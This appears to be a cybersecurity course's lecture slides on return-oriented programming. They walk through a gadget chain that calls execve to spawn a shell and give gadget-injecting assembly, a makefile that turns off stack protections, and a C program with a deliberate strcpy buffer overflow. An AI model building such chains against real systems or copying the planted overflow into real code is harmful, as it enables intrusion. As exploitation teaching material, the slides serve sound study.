Technical Cybersecurity

Designing a ROP Chain

ROP Gadgets

Some prerequisites

- We need gadgets in static, executable memory
- We are looking at static ROP

Call execve(.), spawn shell

- al register needs correct system call number (0x0b)
- ebx has pointer to argument
- ecx points to ARGV
- edx points to environmental variables

ROP Chain

Program

- Here is the program we would like to run
- Will run a shell

```
+ ROP.txt
 1 xor eax, eax
 2 pop ecx
 3 pop edx
 4 mov [edx+0x18], eax
 5 or al, cl
 6 pop ebx
 7 pop ecx
 8 pop edx
 9 int 80
~
~
~
~
~
~
~
~
~
~
~
```

ROP chain developed by Stephen Simms, SANS Institute

Gadget-ified

RETs ADDED

- Some are combined
- No RET on the final instruction

```
ROP.txt
 1 xor eax, eax (ret)
 2 pop ecx; pop edx (ret)
 3 mov [edx+0x18], eax (ret)
 4 or al, cl (ret)
 5 pop ebx (ret)
 6 pop ecx; pop edx (ret)
 7 int 80
~
~
~
~
```

Cheating!

Not many gadgets

- In a simple program, you don't have as many gadgets
- But complex programs are hard to teach from
- So we'll inject gadgets

gadgets.c

```
1  void gadgets(void) {
2     __asm__(
3          "xor %eax, %eax;"
4          "ret;"
5          "pop %ecx;"
6          "pop %edx;"
7          "ret;"
8          "mov %eax, 0x18(%edx);"
9          "ret;"
10         "or %cl, %al;"
11         "ret;"
12         "pop %ebx;"
13         "ret;"
14         "int $0x80;"
15         "ret;"
16    );
17 }
18
~
~
~
~
~
~
~
~
~
~
~
~
~
~
```

makefile

```
CC=gcc
OBJ=function2.o function-args.o print.o err.o err2.o smash.o getenv.o rop.o
CC_FLAGS=-no-pie -m32 -g -z execstack -fno-stack-protector

%.o: %.c
	$(CC) -c -o $@ $< $(CC_FLAGS)

main: $(OBJ)
	$(CC) -m32 -shared -o libgadgets.so -fPIC gadgets.c
	$(CC) -o rop rop.o $(CC_FLAGS)
	$(CC) -o getenv getenv.o $(CC_FLAGS)
	$(CC) -o smash smash.o $(CC_FLAGS) $(ALT_CC_FLAGS)
	$(CC) -o f2 function2.o $(CC_FLAGS)
	$(CC) -o fa function-args.o $(CC_FLAGS)
	$(CC) -o print print.o $(CC_FLAGS)
	$(CC) -o err err.o $(CC_FLAGS)
	$(CC) -o err2 err2.o $(CC_FLAGS)

clean:
	rm *.o f2 print err err2 fa smash getenv rop *.so
	rm -rf a.out core

~
~
```

Makefile

Compiling Gadgets into library

rop.c

```c
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/stat.h>

#define BUF_SIZE 5

void smash(char* arg) {
  char buffer[BUF_SIZE];
  strcpy(buffer, arg);
}

void load(void) {
  struct stat st;
  stat("./libgadgets.so", &st);
  int fd = open("./libgadgets.so", 0, 00);
  mmap((void*) 0x30000000, st.st_size, PROT_READ, 17, fd, 0);
}

int main(int argc, char* argv[]) {
  char* arg = argv[1];
  load();
  smash(arg);
  return 0;
}
```

Extending smash -> rop

Buffer overflow? Yep. Also loading gadgets into static memory.

Let’s find our gadgets.